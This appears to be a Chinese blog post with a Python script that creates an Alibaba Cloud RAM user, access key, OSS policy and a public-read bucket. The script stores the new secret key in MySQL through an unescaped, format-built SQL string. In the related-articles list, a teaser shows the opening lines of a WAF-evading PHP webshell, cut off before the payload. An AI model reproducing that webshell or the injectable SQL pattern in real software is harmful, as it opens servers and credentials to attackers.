创建BUCKET脚本

安装模块

pip install pymysql
pip install aliyun-python-sdk-core
pip install aliyun-python-sdk-rds
pip install aliyun-python-sdk-ram

脚本如下

#!/usr/bin/env python
#coding=utf-8
# author:LJX
# createdate:2020-05-09
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkram.request.v20150501.CreateUserRequest import CreateUserRequest
from aliyunsdkram.request.v20150501.CreateAccessKeyRequest import CreateAccessKeyRequest
from aliyunsdkram.request.v20150501.CreatePolicyRequest import CreatePolicyRequest
from aliyunsdkram.request.v20150501.AttachPolicyToUserRequest import AttachPolicyToUserRequest
import pymysql
import oss2
import datetime class bucket:
def __init__(self,accessKeyId,accessSecret):
self.accessKeyId = accessKeyId
self.accessSecret = accessSecret
self.client = AcsClient(self.accessKeyId, self.accessSecret, 'cn-shenzhen')
self.auth = oss2.Auth(self.accessKeyId, self.accessSecret)
self.date = datetime.datetime.now().strftime('%Y%m%d')
self.conn = pymysql.connect(host='',user='',password='',database='',charset="utf8")
# 创建RAM用户
def createRam(self,UserName):
request = CreateUserRequest()
request.set_accept_format('json')
request.set_UserName(UserName)
self.exec(request)
# 创建accessKey
def createAccess(self,UserName):
request = CreateAccessKeyRequest()
request.set_accept_format('json')
request.set_UserName(UserName)
data = self.exec(request)
return data
# 创建授权策略
def CreatePolicy(self,bucket,PolicyName):
request = CreatePolicyRequest()
request.set_accept_format('json')
request.set_PolicyName(PolicyName)
Policy_key = "{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"oss:*\",\"Resource\":[\"acs:oss:*:*:"+bucket+"\",\"acs:oss:*:*:"+bucket+"/*\"]},{\"Effect\":\"Allow\",\"Action\":\"oss:ListBuckets\",\"Resource\":\"acs:oss:*:*:*\"},{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:GetObjectAcl\"],\"Resource\":\"acs:oss:*:*:"+bucket+"/*\"}]}"
request.set_PolicyDocument(str(Policy_key))
self.exec(request) # 授权
def AttachPolicyToUser(self,PolicyName,UserName):
request = AttachPolicyToUserRequest()
request.set_accept_format('json')
request.set_PolicyType("Custom")
request.set_PolicyName(PolicyName)
request.set_UserName(UserName)
self.exec(request) # 创建bucket
def createbucket(self,yourBucketName):
bucket = oss2.Bucket(self.auth, 'http://cn-shenzhen.oss.aliyuncs.com', yourBucketName)
bucket.create_bucket(oss2.models.BUCKET_ACL_PUBLIC_READ) def exec(self,request):
response = self.client.do_action_with_exception(request)
print(str(response, encoding='utf-8')) def workon(self):
yourBucketName = input('请输入bucket名称')
PolicyName = yourBucketName + '-oss'
UserName = yourBucketName+'_user'
# 第一步、创建RAM用户
try:
self.createRam(UserName)
except Exception as e:
print(e)
try:
data = self.createAccess(UserName)
cursor = self.conn.cursor()
sql = """INSERT INTO `yunwei_info`.`bucketinfo`(
`AccessKeyId`,
`AccessKeySecret`,
`UserName`,
`PolicyName`,
`Bucket`
) VALUES(
{0},{1},{2},{3},{4})""".format(data['AccessKey']['AccessKeyId'],data['AccessKey']['AccessKeySecret'],UserName,PolicyName,yourBucketName)
cursor.execute(sql)
cursor.close()
self.conn.close()
except Exception as e:
print(e)
# 第二步、创建bucket
try:
self.createbucket(yourBucketName)
except Exception as e:
print(e)
# 第三步、创建授权规则
try:
self.CreatePolicy(yourBucketName,PolicyName)
except Exception as e:
print(e)
# 第四步、授权bucket
try:
self.AttachPolicyToUser(PolicyName,UserName)
except Exception as e:
print(e)
if __name__ == "__main__":
accessKeyId = 'xxxxx'
accessSecret = 'xxxxxx'
b = bucket(accessKeyId,accessSecret)
b.workon()

阿里云创建BUCKET脚本的更多相关文章

  1. golang对接阿里云私有Bucket上传图片、授权访问图片

    golang对接阿里云私有Bucket上传图片.授权访问图片 1.为什么要设置私有bucket 公共读写:互联网上任何用户都可以对该 Bucket 内的文件进行访问,并且向该 Bucket 写入数据. ...

  2. Centos7一键配置阿里云yum源脚本

    Centos7一键配置阿里云yum源脚本 工作中linux系统经常要配置网络yum,故写了一个简单的配置阿里云yum源的的脚本可以单独使用也可以在做自动化部署的时候调用. #!/bin/bash # ...

  3. 在阿里云创建子域名,配置nginx,使用pm2部署node项目到ubuntu服务器

    配置域名 在阿里云找到主域名 进入主域名之后,右上角添加解析,添加子域名, 记录类型选择cname,主机记录填写子域名的名称,记录值为主域名,至此阿里云已经配置好了. 检查nginx安装 首先检查服务 ...

  4. 阿里云创建RAM子账号

    操作步骤 创建子账号 主账号导航至 访问控制 > 用户管理 页面.如下图所示: 单击右上角的 新建用户,如下图所示: 填写弹出框的各配置项,如下图所示: 单击 确定,即可创建子账号. 允许子账号 ...

  5. 阿里云服务器挖矿脚本bioset攻击解决

    1.问题出现 一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序 阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来 于是 ...

  6. 阿里云CDN边缘脚本EdgeScript公测:简单语法完成CDN复杂配置

    CDN可以将源站内容分发至最靠近用户侧的节点,使得用户就近获取内容,提高用户的访问成功率和效率.作为CDN运维工程师,他的日常工作就是通过CDN系统的配置和管理,来确保CDN业务正常运转,以此来保障网 ...

  7. 阿里云创建CentOS系统设置

    1 首先设置你购买的云盘配置,例如cpu,内存,磁盘类型.容量,网络类型等 2.阿里云可以使用浏览器进行远程shell连接 首先需要输入远程密码,第一次连接的时候会提示 一定要牢记 输入密码后进入sh ...

  8. osx或windows系统下,用ftp上传文件到阿里云虚拟主机脚本

    某天突然发现,一直在用的ftp工具并不好用,操作界面太过繁琐,而且不太稳定.于是自己找资料,整合了几句虽然简单,但是方便的代码. mac脚本 #从本地向FTP批量上传文档 需要赋予该.shell文件权 ...

  9. 烂泥:阿里云RDS本地恢复数据

    本文由ilanniweb提供友情赞助,首发于烂泥行天下 想要获得更多的文章,可以关注我的微信ilanniweb 公司目前使用的数据库是阿里云的RDS,目前RDS的版本为mysql5.6.如下: 现在要 ...

  10. 没固定公网 IP 的公司内网实现动态域名解析( 阿里云万网解析 )

    情景说明 前段时间应公司需求,需要将内网的服务映射到公网.由于公司使用的是类似家庭宽带的线路,没有固定的公网 IP 地址,所以决定使用域名来完成. 当时有几种方案: 1.花生壳:但是目前需要乱七八糟的 ...

随机推荐

  1. 【做题笔记】树形 dp

    luoguP1122 最大子树和 Solve 设计状态 \(dp[i]\) 表示子树 \(i\) 的最大点权和,则有: 当 \(dp[son[i]] > 0\) 时,选以 \(son[i]\) ...

  2. vue项目node_modules文件过大问题

    node_modules目录下.cache下最大文件删除即可(vue-loader)

  3. 分享一个过狗过D盾过宝塔的php一句话木马

    <?php if(isset($_REQUEST['phpsessid'])){ class A { static $d; } class B extends A { } A::$d =base ...

  4. vue结合cesium,配置,插件vue-cli-plugin-cesium

    https://www.npmjs.com/package/vue-cli-plugin-cesium

  5. axios快速上手(简单使用)

    axios对ajax请求进行了封装,并且使用promise的链式调用使得网络请求的代码逻辑更为清晰,同时支持async和await的编写方式使代码看起来像同步,更加方便于理解和阅读.axios这个库的 ...

  6. Kubernetes hostPort 使用

    1.概述 在 Kubernetes 中,hostPort 是一种用于将主机上的特定端口映射到运行在 Pod 内部容器的端口的配置选项.通过使用 hostPort,你可以在主机上暴露容器的服务,从而允许 ...

  7. Jni GetMethodID中函数标识sig的详细解释

    在 JNI(Java Native Interface)中,GetMethodID 函数用于获取 Java 类的方法的标识符.这个函数的详细解释如下: cCopy code jmethodID Get ...

  8. 关于前后端交互,取header的尴尬

    背景: 最近在写一个接口的时候,需求是这样的,上传excel,匹配项目有多少个字段匹配上了,如果匹配上了在单元格上标注绿色背景,然后返回excel文件和匹配的详细. 首先这个excel文件,后端是不会 ...

  9. Nomad 系列-安装

    系列文章 Nomad 系列文章 Nomad 简介 开新坑!近期算是把自己的家庭实验室环境初步搞好了,终于可以开始进入正题研究了. 首先开始的是 HashiCorp Nomad 系列,欢迎阅读. 关于 ...

  10. Hadoop单击模式运行wordcount例子

    1.进入Hadoop安装目录 cd /zwy/soft/hadoop-2.7.1 2.创建文件夹input mkdir input 3.写一段文字到文件file.txt echo "hell ...